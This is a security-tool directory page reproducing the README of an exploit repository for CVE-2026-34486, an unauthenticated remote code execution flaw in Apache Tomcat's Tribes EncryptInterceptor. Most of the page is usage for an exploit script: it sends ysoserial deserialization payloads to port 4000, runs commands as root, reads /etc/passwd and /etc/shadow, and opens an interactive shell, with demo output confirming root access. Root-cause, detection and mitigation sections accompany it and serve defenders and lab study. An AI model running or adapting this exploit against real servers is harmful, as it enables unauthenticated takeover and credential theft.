Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/404-src/cve-2026-34486
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHub404-src/cve-2026-34486

CVE-2026-34486

Exploit for Apache Tomcat EncryptInterceptor bypass leading to unauthenticated RCE via Java deserialization on port 4000. Includes lab setup, interactive shell, and detection guidance.

View Repository
106207 months agoNot yet reviewed
Share

CVE-2026-34486 — Apache Tomcat EncryptInterceptor RCE

Apache Tomcat Tribes cluster communication module fails to discard messages when EncryptInterceptor decryption fails, allowing unauthenticated attackers to trigger Remote Code Execution via Java deserialization on port 4000.

Apache Tomcat CVE CVSS Python Java Docker License


Vulnerability Details

FieldInfo
CVE IDCVE-2026-34486
CVSS Score7.5 (High)
ComponentApache Tomcat Tribes EncryptInterceptor
Affected Versions9.0.0.M1 – 9.0.116 / 10.1.0-M1 – 10.1.53 / 11.0.0-M1 – 11.0.20
Fixed Versions9.0.117 / 10.1.54 / 11.0.21
Vulnerability TypeUnauthenticated Remote Code Execution via Deserialization
Attack VectorNetwork / No Authentication / Low Complexity
Attack PortTCP 4000 (Tribes NioReceiver)

Root Cause

Apache Tomcat's clustering feature uses the Tribes framework to synchronize session data between cluster nodes, listening on TCP port 4000 by default.

When EncryptInterceptor (AES/CBC) is enabled, the following logic flaw exists:

// EncryptInterceptor.java — vulnerable version
public void messageReceived(ChannelMessage msg) {
    try {
        byte[] decrypted = decrypt(msg.getMessage().getBytes());
        // process decrypted message...
    } catch (Exception e) {
        log.error("Failed to decrypt message", e);  // only logs the error
    }
    super.messageReceived(msg);  // ← BUG: raw bytes forwarded even after decryption failure
}

The catch block only logs the error. Since super.messageReceived(msg) is outside the try-catch, the raw unencrypted bytes are forwarded to XByteBuffer.deserialize() → ObjectInputStream.readObject().

An attacker can send a crafted deserialization payload to trigger RCE without any authentication.

Attack Chain

Attacker  ──TCP:4000──►  NioReceiver (no auth)
                               │
                    EncryptInterceptor.messageReceived()
                      try  { AES/CBC decrypt → IllegalBlockSizeException }
                      catch{ log.severe("Failed to decrypt") }  ← only log trace
                      super.messageReceived(msg)                ← BUG: raw bytes pass through
                               │
                    GroupChannel → XByteBuffer.deserialize()
                               │
                    ObjectInputStream.readObject()              ← deserialization triggered
                               │
                    CommonsCollections6 Gadget Chain
                               │
                    Runtime.exec()  →  RCE as root  🔴

Patch (9.0.117)

The fix moves super.messageReceived(msg) inside the try block, so any decryption failure causes the message to be silently dropped (fail-closed).

// EncryptInterceptor.java — patched version
public void messageReceived(ChannelMessage msg) {
    try {
        byte[] decrypted = decrypt(msg.getMessage().getBytes());
        // process...
        super.messageReceived(msg);  // ← FIXED: only reached if decryption succeeds
    } catch (Exception e) {
        log.error("Failed to decrypt message", e);  // message is discarded
    }
}

Requirements

  • Python 3.6+
  • Java 11+ (java and javac in PATH)
  • Docker (for lab deployment)
  • ysoserial-all.jar
  • apache-tomcat-9.0.116 (for Tribes library)

Lab Setup

Pull the pre-built vulnerable image

docker run -d \
  --name tomcat-cve-2026-34486 \
  -p 8080:8080 \
  -p 4000:4000 \
  nowday3/cve-2026-34486:latest

# Verify
curl http://localhost:8080

Download Exp&Dependencies

# exp
git clone https://github.com/404-src/CVE-2026-34486
cd CVE-2026-34486/

# ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Tomcat 9.0.116 (for Tribes library)
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
tar xzf apache-tomcat-9.0.116.tar.gz
cp apache-tomcat-9.0.116/bin/tomcat-juli.jar apache-tomcat-9.0.116/lib/

Exploitation

Basic RCE verification

python3 exp.py -t 127.0.0.1 -p 4000 -c "touch /tmp/pwned"

# Verify
docker exec tomcat-cve-2026-34486 ls -la /tmp/pwned

RCE with output (recommended)

python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
# Output: uid=0(root) gid=0(root) groups=0(root)

python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/passwd"
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/shadow"

Interactive shell mode

python3 exp.py -t 127.0.0.1 -p 4000 --shell

# [email protected]$ id
# [email protected]$ hostname
# [email protected]$ exit

Custom paths

python3 exp.py -t 127.0.0.1 -p 4000 --rce "id" \
  --ysoserial ./ysoserial-all.jar \
  --tomcat-lib ./apache-tomcat-9.0.116/lib

exp.py Options

-t, --target      Target IP (default: 127.0.0.1)
-p, --port        Tribes port (default: 4000)
    --http-port   HTTP port for output retrieval (default: 8080)
-c, --command     Execute command directly (no shell features)
    --rce         Execute command and retrieve output via HTTP
    --shell       Interactive shell mode
-g, --gadget      Gadget chain (default: CommonsCollections6)
    --ysoserial   Path to ysoserial jar
    --tomcat-lib  Path to Tomcat lib directory

Demo

$ python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"

 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═══██╗╚════██╗██╔════╝
██║     ██║   ██║█████╗█████╗ █████╔╝██║   ██║ █████╔╝███████╗
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ██║▄▄ ██║██╔═══╝ ██╔══██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗╚██████╔╝
                                                          34486

Apache Tomcat EncryptInterceptor Bypass → Deserialization → RCE

Target     : 127.0.0.1:4000
Gadget     : CommonsCollections6

[*] Compiling TribesClient.java ...
[+] Compiled successfully
[*] Generating CommonsCollections6 payload ...
[+] Payload: 1361 bytes
[*] Sending Tribes frame → 127.0.0.1:4000
    [tribes] frame=1496B cdBytes=1478B
[+] Frame sent!
[*] Fetching result: http://127.0.0.1:8080/.out.txt

    uid=0(root) gid=0(root) groups=0(root)

Detection & Indicators of Compromise

The only log trace left by the attack:

SEVERE [Tribes-Task-Receiver[Catalina-Channel]-1]
org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
Failed to decrypt message
  javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
  when decrypting with padded cipher

No readObject exception is logged — the command executes silently.

Mitigation

ActionPriority
Upgrade to Tomcat 9.0.117 / 10.1.54 / 11.0.21Critical
Restrict port 4000 to trusted cluster IPs onlyHigh
Monitor logs for repeated Failed to decrypt messageMedium
Disable Tribes clustering if not neededHigh


References

  • Apache Tomcat Security Advisories
  • Apache Tribes Documentation
  • ysoserial — frohoff
  • Java Deserialization Cheatsheet

Disclaimer

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    871
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    548
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    383
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    361
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    305
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    280

Explore all tools

Browse our collection of tools

View all tools →